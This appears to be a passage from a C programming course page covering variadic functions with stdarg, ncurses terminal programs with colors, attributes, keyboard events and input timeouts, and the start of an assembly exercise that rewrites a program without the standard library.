#include <unistd.h>
#include <errno.h>

const char file_name[] = "/dev/random";

enum { num_chars = 9 };

long str2long(const char *str)
{
    int n;
    char *endptr;

    n = strtol(str, &endptr, 10);
    if (errno == ERANGE)
        n = -1;
    if (!*str || *endptr)
        n = -1;

    return n;
}

int main()
{
    int fd, random, rc;
    char buf[num_chars];

    fd = open(file_name, O_RDONLY);
    if (fd == -1) {
        perror(file_name);
        return 1;
    }
    rc = read(fd, buf, num_chars);
    if (rc <= 0) {
        perror(file_name);
        return 1;
    }
    buf[rc] = 0;

    printf("%s\n", buf);
    random = str2long(buf);
    printf("%d\n", random);

    close(fd);
    return 0;
}
string.cC / 12 lines
#include <stdio.h>
#include <string.h>

int main(void) {
    char *s1 = "hello";
    char *s2 = strdup(s1);

    s1[0] = 'H';
    printf("%s\n", s2);

    return 0;
}

(*) Facilities for creating variadic functions

#include <stdarg.h>

void print_times(const char *str, ...)
{
    va_list vl;
    const char *p;

    va_start(vl, str);  /* macro that initializes vl */
    for (p = str; p; p = va_arg(vl, const char *)) {
        int n, i;
        n = va_arg(vl, int); /* get the next argument from stack */
        for (i = 0; i < n; i++)
            printf("%s ", p);
        printf("\n");
    }
    va_end(vl);         /* clean up */
}

print_times("once", 1, "twice", 2, "seven times", 7, NULL);
Detailed notes - 4.10.4: (*) Variadic functions

1

variadic function: accepts a variable number of arguments

  • printf and scanf families are examples
  • stdarg.h supplies va_list and macros for accessing unnamed arguments
  • va_list representation is implementation-dependent

2

traditional declaration: named parameters followed by ...

  • va_start(list, last_named_parameter): initialize argument traversal
  • va_arg(list, type): obtain the next argument as the specified type
  • va_end(list): finish traversal in the function that initialized it
  • argument types must match the actual promoted types
  • char/short normally promote to int; float promotes to double

3

implementation depends on the calling convention

  • i386 CDECL stack layout makes simple address-based traversal imaginable
  • other conventions also pass arguments in registers
  • use stdarg macros instead of assuming a particular layout

4

the variable argument list contains no automatic count or type description

  • caller and callee need an agreed protocol
  • format string, explicit count, or sentinel can supply it
  • printf's conversion directives determine which arguments it consumes

5

sum example uses integer 0 as an end marker

  • named int c initializes the sum
  • va_start(vl, c)
  • repeatedly read va_arg(vl, int); stop at 0, otherwise add the value
  • va_end(vl); return accumulated sum
  • every call must supply the terminating zero among the unnamed arguments
  • omitting it causes reads beyond the supplied arguments

6

print_times example uses alternating string pointer / int pairs

  • first string is the named parameter
  • read count; print that string count times; then read the next pointer
  • null pointer terminates the sequence without a following count
  • use a correctly typed null pointer for a variadic pointer argument
  • example sequence: "once", 1, "twice", 2, "seven times", 7, (const char*)0

7

vprintf, vfprintf, vsprintf, vsnprintf and the vscanf family accept va_list

  • perform the corresponding formatting or input operation using that list
  • useful for wrappers that do extra work before delegating formatting
  • initialize the list in the variadic wrapper and finish it appropriately
  • va_copy is available when an independent traversal is needed
Examples & tests (2 files) - 4.10.4: (*) Variadic functions
Book exampleBook example: variadic.cIn catalog
variadic.cC / 40 lines
#include <stdio.h>
#include <stdarg.h>


static int sum(int c, ...)
{
    va_list vl;
    int s = c;
    int k;

    va_start(vl, c);
    while((k = va_arg(vl, int)) != 0)
        s += k;
    va_end(vl);

    return s;
}

static void print_times(const char *str, ...)
{
    va_list vl;
    const char *p;

    va_start(vl, str);
    for(p = str; p; p = va_arg(vl, const char *)) {
        int n, i;
        n = va_arg(vl, int);
        for(i = 0; i < n; i++)
            printf("%s ", p);
        printf("\n");
    }
    va_end(vl);
}

int main()
{
    printf("%d\n", sum(5, 40, 300, 2000, 10000, 0));
    print_times("first", 1, "second", 2, "third", 3, "seven", 7, NULL);
    return 0;
}
Section test04 (04-10)In catalog
variadic.cC / 24 lines
#include <stdio.h>
#include <stdarg.h>

void print_times(const char *str, ...)
{
    va_list vl;
    const char *p;

    va_start(vl, str);  /* macros that initializes vl */
    for (p = str; p; p = va_arg(vl, const char *)) {
        int n, i;
        n = va_arg(vl, int); /* get the next argument from stack */
        for (i = 0; i < n; i++)
            printf("%s ", p);
        printf("\n");
    }
    va_end(vl);         /* clean up */
}

int main()
{
    print_times("once", 1, "twice", 2, "seven times", 7, NULL);
    return 0;
}

Full-screen programs in C

Detailed notes - 4.11: (*) Full-screen terminal programs in C

1

full-screen terminal program:

  • positions text anywhere in the terminal
  • controls character appearance
  • can react to keys without waiting for Enter
  • similar purpose to Pascal's crt, with a different interface

2

ncurses handles differences between terminals

  • uses terminal descriptions instead of hard-coded escape sequences
  • consoles, terminal emulators, serial terminals, and remote connections can differ
  • the application requests an operation; the library chooses how to perform it

Other ncurses facilities

Beyond basic screen drawing and input timeouts, ncurses provides independent windows, scrolling, and finer attribute control, while companion libraries (menu, panel, CDK) add higher-level terminal interface components.

Detailed notes - 4.11.5: Other ncurses facilities

1

the examples cover only a small part of the library

  • more ways to control attributes
  • windows with independent coordinate systems
  • screen/window scrolling
  • further terminal initialization and input settings

2

related libraries supply higher-level interface components

  • menu: menus with single or multiple selections
  • panel: overlapping windows that can be moved, hidden, and shown
  • CDK: widgets such as entry fields, buttons, and selectors
  • CDK is a separate toolkit built on curses

A simple example

#include <curses.h>
#include <unistd.h>

const char message[] = "Hello, world!";
enum { delay_duration = 5 };

int main()
{
    int row, col;
    initscr();                              /* init ncurses */
    getmaxyx(stdscr, row, col);             /* macro to get max row and col */
    move(row/2, (col - (sizeof(message) - 1))/2);   /* first param y, then x */
    addstr(message);                        /* print a string */
    curs_set(0);                            /* remove cursor from the screen */
    refresh();                              /* update screen with message */
    sleep(delay_duration);
    endwin();                               /* finalize ncurses */
    return 0;
}
gcc -g -Wall curses_hello.c -lcurses -o curses_hello
Detailed notes - 4.11.1: A simple example

1

example: center "Hello, world!", wait 5 seconds, then finish

  • suitable terminals can restore the previous screen after the program exits

2

available behavior depends on the selected terminal description

  • TERM identifies the terminal type
  • pretending a terminal is vt100 limits use to that description's capabilities
  • alternate-screen restoration and color cannot be assumed for every terminal

3

initscr(): initialize ncurses and take control of the terminal getmaxyx(stdscr, row, col): obtain screen height and width

  • stdscr is the standard window covering the screen
  • other windows can have independent coordinates and output
  • ncurses consistently puts y / row before x / column

4

getmaxyx is a macro, not an ordinary function

  • it assigns directly to row and col
  • pass variables themselves, without &

5

move(y, x): set the cursor's position in the window

  • top-left cell is (0, 0)
  • centered row: row / 2
  • centered column: (col - message_length) / 2
  • display dimensions must be large enough for the chosen message

6

use ncurses output functions while ncurses manages the screen

  • printf/putchar bypass its screen model
  • drawing normally updates the library's virtual screen first
  • refresh is needed to make the physical screen match it

7

addstr(message): write a string at the current cursor position addch(character): write one character

  • curs_set(0) requests an invisible cursor, where supported
  • refresh() sends pending screen changes to the terminal

8

finish the demonstration:

  • sleep(5): wait approximately 5 seconds; POSIX function declared in unistd.h
  • endwin(): finish terminal management and restore terminal modes
  • include curses.h and link the separate curses library
  • book's command: gcc -Wall -g curses_hello.c -lcurses -o curses_hello
  • this program leaves interrupt-key handling enabled, so Ctrl-C can interrupt it
Book examples (2 files) - 4.11.1: A simple example
Book exampleBook example: curses_hello.cIn catalog
curses_hello.cC / 20 lines
#include <curses.h>
#include <unistd.h>

const char message[] = "Hello, world!";
enum { delay_duration = 5 };

int main()
{
    int row, col;
    initscr();
    start_color();
    getmaxyx(stdscr, row, col);
    move(row/2, (col-(sizeof(message)-1))/2);
    addstr(message);
    curs_set(0);
    refresh();
    sleep(delay_duration);
    endwin();
    return 0;
}
Book exampleBook example: curses_hello2.cIn catalog
curses_hello2.cC / 33 lines
#include <curses.h>
#include <unistd.h>


const char message[] = "Hello, world!";
enum { delay_duration = 5 };

void say_hello()
{
    int row, col;
    getmaxyx(stdscr, row, col);
    move(row/2, (col-(sizeof(message)-1))/2);
    addstr(message);
    move(0, 0);
    refresh();
}

int main()
{
    int key;
    initscr();
    raw();
    noecho();
    say_hello();
    while((key = getch()) != 27) {
        if(key == KEY_RESIZE) {
            clear();
            say_hello();
        }
    }
    endwin();
    return 0;
}

Managing color and character attributes

Write a program that shows stars for different combination of foreground and background colors.

Show the solution
#include <stdio.h>
#include <curses.h>

enum { key_escape = 27 };
enum { color_count = 8 };

static const int all_colors[color_count] = {
    COLOR_BLACK, COLOR_RED, COLOR_GREEN, COLOR_YELLOW,
    COLOR_BLUE, COLOR_MAGENTA, COLOR_CYAN, COLOR_WHITE
};

static int setpair(int fg, int bg)
{
    int n = bg*8 + fg + 1;
    init_pair(n, fg, bg);
    return n;
}

static void make_line(int line, int width, int fgcolor)
{
    int i, j, w, pn, att;
    w = width / color_count;
    for (i = 0; i < color_count; i++) {
        move(line, i*w);
        pn = setpair(fgcolor, all_colors[i]);
        for (j = 0; j < w; j++) {
            att = COLOR_PAIR(pn);
            if (j % 2 == 0)
                att |= A_BOLD;
            if ((j / 2) % 2 == 1)
                att |= A_BLINK;
            attrset(att);
            addch('*');
            refresh();
        }
    }
}

static void make_screen(int h, int w)
{
    clear();
    for (int i = 0; i < h; i++)
        make_line(i, w, all_colors[i % color_count]);
}

static void shift_pairs(int shift)
{
    for (int i = 1; i <= color_count * color_count; i++) {
        int fg = (i + shift) % color_count;
        int bg = ((i + shift) / color_count) % color_count;
        init_pair(i, all_colors[fg], all_colors[bg]);
    }

}

int main()
{
    int row, col, ch, shift;
    initscr();
    if (!has_colors()) {
        endwin();
        fprintf(stderr, "I can't show colors on BW screen\n");
        return 1;
    }
    cbreak();           /* sets mode in which C-c, C-d stop the program */
    keypad(stdscr, 1);  /* process special symbols such as arrows */
    noecho();           /* don't automatically output key presses to screen */
    curs_set(0);
    start_color();
    getmaxyx(stdscr, row, col);
    make_screen(row, col);
    shift = 2;
    while ((ch = getch()) != key_escape) {  /* get a key press */
        shift_pairs(shift);
        shift++;
        refresh();
    }
    endwin();
    return 0;
}
Detailed notes - 4.11.3: Colors and character attributes

1

character attributes control appearance

  • color includes both foreground and background
  • call start_color after initialization before using color operations
  • start_color returns OK or ERR; color support depends on the terminal

2

attributes can work independently of color:

  • A_BOLD, A_DIM, A_UNDERLINE, A_BLINK, A_REVERSE
  • combine flags with bitwise |
  • attron(flags): enable selected attributes
  • attroff(flags): disable selected attributes
  • addch('*' | A_BOLD | A_BLINK): attributes attached to a single character

check color support with has_colors()

  • retain a usable monochrome presentation when it returns false
  • a user preference may also request monochrome operation
  • initialize colors only when the application will use them

3

remaining color examples assume color is available and enabled

4

eight basic named colors:

  • black, red, green, yellow, blue, magenta, cyan, white
  • names have the COLOR_ prefix
  • additional colors and palette changes depend on terminal/library capabilities
  • can_change_color and init_color provide palette control where supported
  • the book's blanket claim that palette changes never work is too broad

5

color pair = foreground color + background color

  • init_pair(number, foreground, background) defines a pair
  • COLOR_PAIR(number) supplies its attribute value for output
  • attrset replaces the current attributes
  • example: pair 1 = white on blue; combine COLOR_PAIR(1) with A_UNDERLINE
  • pair 0 has special default-color meaning
  • redefining a pair changes the appearance of cells already using that pair

6

check supported ranges after start_color

  • COLORS: number of color indices
  • COLOR_PAIRS: number of pair identifiers
  • ordinary user-defined pairs start at 1 and remain below COLOR_PAIRS
  • the traditional COLOR_PAIR attribute encoding also has a finite range
  • do not infer the supported pair count from a single machine

7

eight foregrounds times eight backgrounds gives 64 combinations

  • assigning them to pairs 1 ... 64 also needs room for reserved pair 0
  • verify capacity rather than assuming every terminal supports all combinations

8

pairs can represent interface roles instead of unique color combinations

  • several roles may initially have the same colors
  • redefining one pair recolors all elements assigned that role

9

A_BOLD may display as brighter foreground color on some terminals

  • exact rendering is terminal-dependent

10

color demonstration fills the screen with stars

  • assign a pair to each foreground/background combination
  • pair number = 8 * background_index + foreground_index + 1
  • +1 keeps pair 0 unused

11

keep the eight color constants in an array

  • use array indices 0 ... 7 to enumerate colors
  • translate each index to its named constant when calling the library
  • this separates enumeration from the constant's numeric encoding

12

setpair associates a pair number with its two colors

  • compute the number from the indices
  • initialize the pair with the corresponding color constants
  • return the pair number for later output

13

make_line draws one foreground across strips of different backgrounds

  • every second star adds A_BOLD
  • every second group of two also adds A_BLINK

make_screen clears the display and fills it with these rows

14

input loop recolors the existing display

  • Escape exits
  • another key calls shift_pairs to redefine the pairs
  • refresh applies the changed appearance
  • no need to recreate each star merely to change its pair's colors

15

complete example joins initialization, drawing, recoloring, and cleanup

  • if color is unavailable, call endwin before printing the error through stdio
  • configure cbreak, keypad, noecho, and cursor visibility
  • start_color; get dimensions; draw; process keys; endwin
  • keep pair-number indices distinct from color constants when adapting the example
Examples & tests (4 files) - 4.11.3: Colors and character attributes
Book exampleBook example: curses_col.cIn catalog
curses_col.cC / 82 lines
#include <stdio.h>
#include <curses.h>

enum { key_escape = 27 };

enum { color_count = 8 };

static const int all_colors[color_count] = {
    COLOR_BLACK, COLOR_RED, COLOR_GREEN, COLOR_YELLOW,
    COLOR_BLUE, COLOR_MAGENTA, COLOR_CYAN, COLOR_WHITE
};

static int setpair(int fg, int bg)
{
    int n = bg*8 + fg + 1;
    init_pair(n, fg, bg);
    return n;
}

static void make_line(int line, int width, int fgcolor)
{
    int i, j, w, pn, att;
    w = width / color_count;
    for(i = 0; i < color_count; i++) {
        move(line, i*w);
        pn = setpair(fgcolor, all_colors[i]);
        for(j = 0; j < w; j++) {
            att = COLOR_PAIR(pn);
            if(j % 2 == 0)
                att |= A_BOLD;
            if((j / 2) % 2 == 1)
                att |= A_BLINK;
            attrset(att);
            addch('*');
            refresh();
        }
    }
}

static void make_screen(int h, int w)
{
    int i;
    clear();
    for(i = 0; i < h; i++)
        make_line(i, w, all_colors[i % color_count]);
}

static void shift_pairs(int shift)
{
    int i;
    for(i = 1; i <= color_count * color_count; i++) {
        int fg = (i + shift) % color_count;
        int bg = ((i + shift) / color_count) % color_count;
        init_pair(i, all_colors[fg], all_colors[bg]);
    }
}

int main()
{
    int row, col, ch, shift;
    initscr();
    if(!has_colors()) {
        endwin();
        fprintf(stderr, "I can't show colors on a BW screen\n");
        return 1;
    }
    cbreak();
    keypad(stdscr, 1);
    noecho();
    curs_set(0);
    start_color();
    getmaxyx(stdscr, row, col);
    make_screen(row, col);
    shift = 2;
    while((ch = getch()) != key_escape) {
        shift_pairs(shift);
        shift++;
        refresh();
    }
    endwin();
    return 0;
}
Section test03 (04-11)In catalog
curses.cC / 48 lines
#include <ncurses.h>
#include <unistd.h>

enum { delay_duration = 2 };

int main()
{
    int row, col;
    initscr();
    start_color();
    cbreak();
    noecho();
    curs_set(0);
    getmaxyx(stdscr, row, col);
    move(row/2,(col-30)/2);

    attron(A_BOLD);
    addstr("Hello, ");
    refresh();
    sleep(delay_duration);

    attron(A_UNDERLINE);
    addstr("wonderful");
    refresh();
    sleep(delay_duration);

    attroff(A_BOLD|A_UNDERLINE);
    addstr(" world! ");
    refresh();
    sleep(delay_duration);

    addch('*' | A_BOLD | A_BLINK);
    refresh();
    sleep(delay_duration);

    printw(" %d ", has_colors());
    refresh();
    sleep(delay_duration);

    init_pair(1, COLOR_WHITE, COLOR_BLUE);
    attrset(COLOR_PAIR(1) | A_UNDERLINE);
    addstr("White on blue");
    refresh();
    sleep(delay_duration);

    endwin();
    return 0;
}
curses_col.cC / 80 lines
#include <stdio.h>
#include <curses.h>

enum { key_escape = 27 };
enum { color_count = 8 };

static const int all_colors[color_count] = {
    COLOR_BLACK, COLOR_RED, COLOR_GREEN, COLOR_YELLOW,
    COLOR_BLUE, COLOR_MAGENTA, COLOR_CYAN, COLOR_WHITE
};

static int setpair(int fg, int bg)
{
    int n = bg*8 + fg + 1;
    init_pair(n, fg, bg);
    return n;
}

static void make_line(int line, int width, int fgcolor)
{
    int i, j, w, pn, att;
    w = width / color_count;
    for (i = 0; i < color_count; i++) {
        move(line, i*w);
        pn = setpair(fgcolor, all_colors[i]);
        for (j = 0; j < w; j++) {
            att = COLOR_PAIR(pn);
            if (j % 2 == 0)
                att |= A_BOLD;
            if ((j / 2) % 2 == 1)
                att |= A_BLINK;
            attrset(att);
            addch('*');
            refresh();
        }
    }
}

static void make_screen(int h, int w)
{
    clear();
    for (int i = 0; i < h; i++)
        make_line(i, w, all_colors[i % color_count]);
}

static void shift_pairs(int shift)
{
    for (int i = 1; i <= color_count * color_count; i++) {
        int fg = (i + shift) % color_count;
        int bg = ((i + shift) / color_count) % color_count;
        init_pair(i, all_colors[fg], all_colors[bg]);
    }

}

int main()
{
    int row, col, ch, shift;
    initscr();
    if (!has_colors()) {
        endwin();
        fprintf(stderr, "I can't show colors on BW screen\n");
        return 1;
    }
    cbreak();
    keypad(stdscr, 1);
    noecho();
    curs_set(0);
    start_color();
    getmaxyx(stdscr, row, col);
    make_screen(row, col);
    shift = 2;
    while ((ch = getch()) != key_escape) {
        shift_pairs(shift);
        shift++;
        refresh();
    }
    endwin();
    return 0;
}
curses_hello.cC / 19 lines
#include <curses.h>
#include <unistd.h>

const char message[] = "Hello, world!";
enum { delay_duration = 15 };

int main()
{
    int row, col;
    initscr();
    getmaxyx(stdscr, row, col);
    move(row/2, (col-(sizeof(message)-1))/2);
    addstr(message);
    curs_set(0);
    refresh();
    sleep(delay_duration);
    endwin();
    return 0;
}

Keyboard input with timeouts

Write a program that sets direction for star movements with h j k l keys.

Show the solution
#include <curses.h>

enum { delay_duration = 100 };
enum { key_escape = 27 };
struct star {
    int cur_x, cur_y, dx, dy;
};

static void show_star(const struct star *s)
{
    move(s->cur_y, s->cur_x);
    addch('*');
    refresh();
}

static void hide_star(const struct star *s)
{
    move(s->cur_y, s->cur_x);
    addch(' ');
    refresh();
}

static void check(int *coord, int max)
{
    if(*coord < 0)
        *coord += max;
    else if(*coord > max)
        *coord -= max;
}

static void move_star(struct star *s, int max_x, int max_y)
{
    hide_star(s);
    s->cur_x += s->dx;
    check(&s->cur_x, max_x);
    s->cur_y += s->dy;
    check(&s->cur_y, max_y);
    show_star(s);
}

static void set_direction(struct star *s, int dx, int dy)
{
    s->dx = dx;
    s->dy = dy;
}

static void handle_resize(struct star *s, int *col, int *row)
{
    getmaxyx(stdscr, *row, *col);
    if (s->cur_x > *col)
        s->cur_x = *col;
    if (s->cur_y > *row)
        s->cur_y = *row;
}

int main()
{
    int row, col, key;
    struct star s;
    initscr();
    cbreak();
    timeout(delay_duration);
    keypad(stdscr, 1);
    noecho();
    curs_set(0);
    getmaxyx(stdscr, row, col);
    s.cur_x = col/2;
    s.cur_y = row/2;
    set_direction(&s, 0, 0);
    while((key = getch()) != key_escape) {
        switch(key) {
            case ' ':
                set_direction(&s, 0, 0);
                break;
            case 'k':
                set_direction(&s, 0, -1);
                break;
            case 'j':
                set_direction(&s, 0, 1);
                break;
            case 'h':
                set_direction(&s, -1, 0);
                break;
            case 'l':
                set_direction(&s, 1, 0);
                break;
            case ERR:
                move_star(&s, col-1, row-1);    /* indexing starts with 0 */
                break;
            case KEY_RESIZE:
                handle_resize(&s, &col, &row);
                break;
        }
    }
    endwin();
    return 0;
}
Detailed notes - 4.11.2: Keyboard and other events

1

canonical terminal input:

  • program normally receives a line after Enter
  • terminal driver performs line editing such as Backspace
  • special control characters can signal, suspend, or finish a line of input
  • typed characters are normally echoed to the screen

2

full-screen interfaces usually need different behavior

  • receive input immediately
  • recognize cursor and function keys
  • control whether typed characters are displayed

3

ncurses exposes these choices separately

  • immediate input need not disable signal-generating keys
  • echo and special-key decoding are independent settings

4

cbreak(): receive characters without waiting for a complete line

  • retains signal-generating keys such as Ctrl-C
  • canonical EOF processing is no longer active; Ctrl-D does not keep its usual line-mode role

raw(): also disable the driver's usual special handling of control characters

  • Ctrl-C can then arrive as character code 3
  • corresponding reversal functions: nocbreak and noraw

noecho(): disable automatic echo; echo() re-enables it keypad(stdscr, 1): translate recognized key escape sequences into key codes

5

getch(): read an input event as int

  • ordinary input: character code
  • special keys: KEY_UP, KEY_DOWN, KEY_LEFT, KEY_RIGHT, KEY_F(n), ...
  • symbolic names avoid dependence on numeric values
  • int is necessary because special codes extend beyond the char range

6

Enter and Backspace need attention to terminal behavior

  • Enter may arrive as '\n' or a keypad-related KEY_ENTER
  • Backspace may arrive as '\b', another configured erase byte, or KEY_BACKSPACE
  • Insert: KEY_IC
  • Page Up / Page Down: KEY_PPAGE / KEY_NPAGE

7

input events can also report mouse activity or a terminal resize

  • KEY_RESIZE: query dimensions again with getmaxyx
  • recompute bounds and redraw the interface as needed

8

interactive example: move "Hello, world!" with arrow keys

  • Escape exits
  • cbreak preserves Ctrl-C interruption

9

split drawing and movement into helpers

  • show_message(x, y): move cursor, add string, refresh
  • hide_message(x, y): overwrite its previous cells with spaces
  • move_message: erase, change coordinates, clamp to bounds, show again
  • pass coordinate addresses so the helper updates the caller's state

10

handle_resize recomputes the permitted message position

  • maximum x = columns - message_length
  • maximum y = rows - 1
  • clamp existing coordinates and redraw
  • if the window is narrower than the message, handle clipping separately

11

main loop dispatches getch results with switch

  • arrows call move_message with a unit displacement
  • KEY_RESIZE calls handle_resize
  • Escape ends the loop; endwin restores terminal state

formatted output:

  • printw accepts printf-style arguments and writes through ncurses
  • mvprintw(y, x, format, ...) combines movement and formatted output
  • printing coordinates needs trailing spaces or explicit clearing to erase longer old text
Book example (1 file) - 4.11.2: Keyboard and other events
Book exampleBook example: movehello.cIn catalog
movehello.cC / 90 lines
#include <curses.h>

static const char message[] = "Hello, world!";
enum { key_escape = 27 };

static void show_message(int x, int y)
{
    move(y, x);
    addstr(message);
    move(0, 0);
    printw("(%d,%d)    ", x, y);
    refresh();
}

static void hide_message(int x, int y)
{
    int i;
    move(y, x);
    for(i = 0; i < sizeof(message)-1; i++)
        addch(' ');
    refresh();
}

static void check(int *coord, int max)
{
    if(*coord < 0)
        *coord = 0;
    else
    if(*coord > max)
        *coord = max;
}

static void move_message(int *x, int *y, int mx, int my, int dx, int dy)
{
    hide_message(*x, *y);
    *x += dx;
    check(x, mx);
    *y += dy;
    check(y, my);
    show_message(*x, *y);
}

static void handle_resize(int *x, int *y, int *mx, int *my)
{
    int row, col;
    getmaxyx(stdscr, row, col);
    *mx = col - sizeof(message) + 1;
    *my = row - 1;
    hide_message(*x, *y);
    check(x, *mx);
    check(y, *my);
    show_message(*x, *y);
}

int main()
{
    int row, col, x, y, max_x, max_y, key;
    initscr();
    cbreak();
    keypad(stdscr, 1);
    noecho();
    curs_set(0);
    getmaxyx(stdscr, row, col);
    x = (col-(sizeof(message)-1))/2;
    y = row/2;
    max_x = col - sizeof(message) + 1;
    max_y = row - 1;
    show_message(x, y);
    while((key = getch()) != key_escape) {
        switch(key) {
        case KEY_UP:
            move_message(&x, &y, max_x, max_y, 0, -1);
            break;
        case KEY_DOWN:
            move_message(&x, &y, max_x, max_y, 0, 1);
            break;
        case KEY_LEFT:
            move_message(&x, &y, max_x, max_y, -1, 0);
            break;
        case KEY_RIGHT:
            move_message(&x, &y, max_x, max_y, 1, 0);
            break;
        case KEY_RESIZE:
            handle_resize(&x, &y, &max_x, &max_y);
            break;
        }
    }
    endwin();
    return 0;
}
Detailed notes - 4.11.4: Keyboard input with timeouts

1

blocking input prevents an animation from advancing while no key is pressed

  • ncurses can instead return immediately or wait for a limited interval
  • getch returns ERR when that interval expires without input

2

timeout(milliseconds) selects the waiting policy

  • positive: wait up to that many milliseconds
  • zero: nonblocking input; return immediately
  • negative: wait indefinitely for input
  • timeout(100): at most one tenth of a second per getch wait

3

moving-star example:

  • arrow keys set a direction
  • star continues moving without further keypresses
  • Space sets velocity to zero
  • Escape exits

4

state structure stores current x/y and velocity dx/dy

  • initialize position near the center and velocity to (0, 0)
  • timeout(100); read events in the main loop
  • arrow: change velocity; Space: stop; ERR: advance position
  • move helper erases old cell, updates coordinates, handles edges, then redraws
  • correct wrap period is the dimension: max_coordinate + 1
  • after resize, valid coordinates remain 0 ... columns-1 and 0 ... rows-1
  • the printed example's wrap and resize checks contain off-by-one errors
  • each input event restarts the wait, so this simple loop is not a fixed-rate clock
Examples & tests (3 files) - 4.11.4: Keyboard input with timeouts
Book exampleBook example: movingstar.cIn catalog
movingstar.cC / 99 lines
#include <curses.h>

enum { delay_duration = 100 };
enum { key_escape = 27 };

struct star {
    int cur_x, cur_y, dx, dy;
};

static void show_star(const struct star *s)
{
    move(s->cur_y, s->cur_x);
    addch('*');
    refresh();
}

static void hide_star(const struct star *s)
{
    move(s->cur_y, s->cur_x);
    addch(' ');
    refresh();
}

static void check(int *coord, int max)
{
    if(*coord < 0)
        *coord += max;
    else
    if(*coord > max)
        *coord -= max;
}

static void move_star(struct star *s, int max_x, int max_y)
{
    hide_star(s);
    s->cur_x += s->dx;
    check(&s->cur_x, max_x);
    s->cur_y += s->dy;
    check(&s->cur_y, max_y);
    show_star(s);
}

static void set_direction(struct star *s, int dx, int dy)
{
    s->dx = dx;
    s->dy = dy;
}

static void handle_resize(struct star *s, int *col, int *row)
{
    getmaxyx(stdscr, *row, *col);
    if(s->cur_x > *col)
        s->cur_x = *col;
    if(s->cur_y > *row)
        s->cur_y = *row;
}

int main()
{
    int row, col, key;
    struct star s;
    initscr();
    cbreak();
    timeout(delay_duration);
    keypad(stdscr, 1);
    noecho();
    curs_set(0);
    getmaxyx(stdscr, row, col);
    s.cur_x = col/2;
    s.cur_y = row/2;
    set_direction(&s, 0, 0);
    while((key = getch()) != key_escape) {
        switch(key) {
        case ' ':
            set_direction(&s, 0, 0);
            break;
        case KEY_UP:
            set_direction(&s, 0, -1);
            break;
        case KEY_DOWN:
            set_direction(&s, 0, 1);
            break;
        case KEY_LEFT:
            set_direction(&s, -1, 0);
            break;
        case KEY_RIGHT:
            set_direction(&s, 1, 0);
            break;
        case ERR:
            move_star(&s, col-1, row-1);
            break;
        case KEY_RESIZE:
            handle_resize(&s, &col, &row);
            break;
        }
    }
    endwin();
    return 0;
}
Section test04 (04-11)In catalog
movehello.cC / 90 lines
#include <curses.h>
#include <stdio.h>

static const char message[] = "Hello, world!";
enum { key_escape = 27 };

static void show_message(int x, int y)
{
    move(y, x);
    addstr(message);
    refresh();
}

static void hide_message(int x, int y)
{
    move(y, x);
    for (int i = 0; i < sizeof(message) - 1; i++)
        addch(' ');         /* write a character */
    refresh();
}

static void check(int *coord, int max)
{
    if(*coord < 0)
        *coord = 0;
    else
    if(*coord > max)
        *coord = max;
}

static void
move_message(int *x, int *y, int mx, int my, int dx, int dy)
{
    hide_message(*x, *y);
    *x += dx;
    check(x, mx);
    *y += dy;
    check(y, my);
    show_message(*x, *y);
}

static void handle_resize(int *x, int *y, int *mx, int *my)
{
    int row, col;
    getmaxyx(stdscr, row, col);
    *mx = col - sizeof(message) + 1;  /* additional zero at end of message */
    *my = row - 1;                    /* indexing starts with 0 */
    hide_message(*x, *y);
    check(x, *mx);
    check(y, *my);
    show_message(*x, *y);
}

int main()
{
    int row, col, x, y, max_x, max_y, key;
    initscr();
    cbreak();           /* sets mode in which C-c, C-d stop the program */
    keypad(stdscr, 1);  /* process special symbols such as arrows */
    noecho();           /* don't automatically output key presses to screen */
    curs_set(0);
    getmaxyx(stdscr, row, col);
    x = (col - (sizeof(message) - 1))/2;
    y = row/2;
    max_x = col - sizeof(message) + 1;
    max_y = row - 1;
    show_message(x, y);
    while((key = getch()) != key_escape) {  /* get a keypress */
        switch(key) {
            case 'k':
                move_message(&x, &y, max_x, max_y, 0, -1);
                break;
            case 'j':
                move_message(&x, &y, max_x, max_y, 0, 1);
                break;
            case 'h':
                move_message(&x, &y, max_x, max_y, -1, 0);
                break;
            case 'l':
                move_message(&x, &y, max_x, max_y, 1, 0);
                break;
            case KEY_RESIZE:
                handle_resize(&x, &y, &max_x, &max_y);
                break;
        }
    }
    endwin();
    return 0;
}

movingstar.cC / 98 lines
#include <curses.h>

enum { delay_duration = 100 };
enum { key_escape = 27 };
struct star {
    int cur_x, cur_y, dx, dy;
};

static void show_star(const struct star *s)
{
    move(s->cur_y, s->cur_x);
    addch('*');
    refresh();
}

static void hide_star(const struct star *s)
{
    move(s->cur_y, s->cur_x);
    addch(' ');
    refresh();
}

static void check(int *coord, int max)
{
    if(*coord < 0)
        *coord += max;
    else if(*coord > max)
        *coord -= max;
}

static void move_star(struct star *s, int max_x, int max_y)
{
    hide_star(s);
    s->cur_x += s->dx;
    check(&s->cur_x, max_x);
    s->cur_y += s->dy;
    check(&s->cur_y, max_y);
    show_star(s);
}

static void set_direction(struct star *s, int dx, int dy)
{
    s->dx = dx;
    s->dy = dy;
}

static void handle_resize(struct star *s, int *col, int *row)
{
    getmaxyx(stdscr, *row, *col);
    if (s->cur_x > *col)
        s->cur_x = *col;
    if (s->cur_y > *row)
        s->cur_y = *row;
}

int main()
{
    int row, col, key;
    struct star s;
    initscr();
    cbreak();
    timeout(delay_duration);
    keypad(stdscr, 1);
    noecho();
    curs_set(0);
    getmaxyx(stdscr, row, col);
    s.cur_x = col/2;
    s.cur_y = row/2;
    set_direction(&s, 0, 0);
    while((key = getch()) != key_escape) {
        switch(key) {
            case ' ':
                set_direction(&s, 0, 0);
                break;
            case 'k':
                set_direction(&s, 0, -1);
                break;
            case 'j':
                set_direction(&s, 0, 1);
                break;
            case 'h':
                set_direction(&s, -1, 0);
                break;
            case 'l':
                set_direction(&s, 1, 0);
                break;
            case ERR:
                move_star(&s, col-1, row-1);
                break;
            case KEY_RESIZE:
                handle_resize(&s, &col, &row);
                break;
        }
    }
    endwin();
    return 0;
}

A C program without the standard library

#include <stdio.h>

int main(int argc, char **argv)
{
    if (argc < 2) {
        printf("I don't know how to greet you\n");
        return 1;
    }
    printf("Hello, dear %s!\n", argv[1]);
    return 0;
}

Rewrite this program without using standard library.

Show the solution
;; start.asm ;;
global _start

extern main

section .text

_start:
        mov ecx, [esp]  ; argc in ecx
        mov eax, esp
        add eax, 4      ; argv in eax
        push eax
        push ecx
        call main
        add esp, 8      ; clean the stack
        mov ebx, eax    ; now call _exit
        mov eax, 1
        int 80h
;; calls.asm ;;
global sys_read
global sys_write
global sys_errno

section .bss

sys_errno resd 1

section .text

generic_syscall_3:
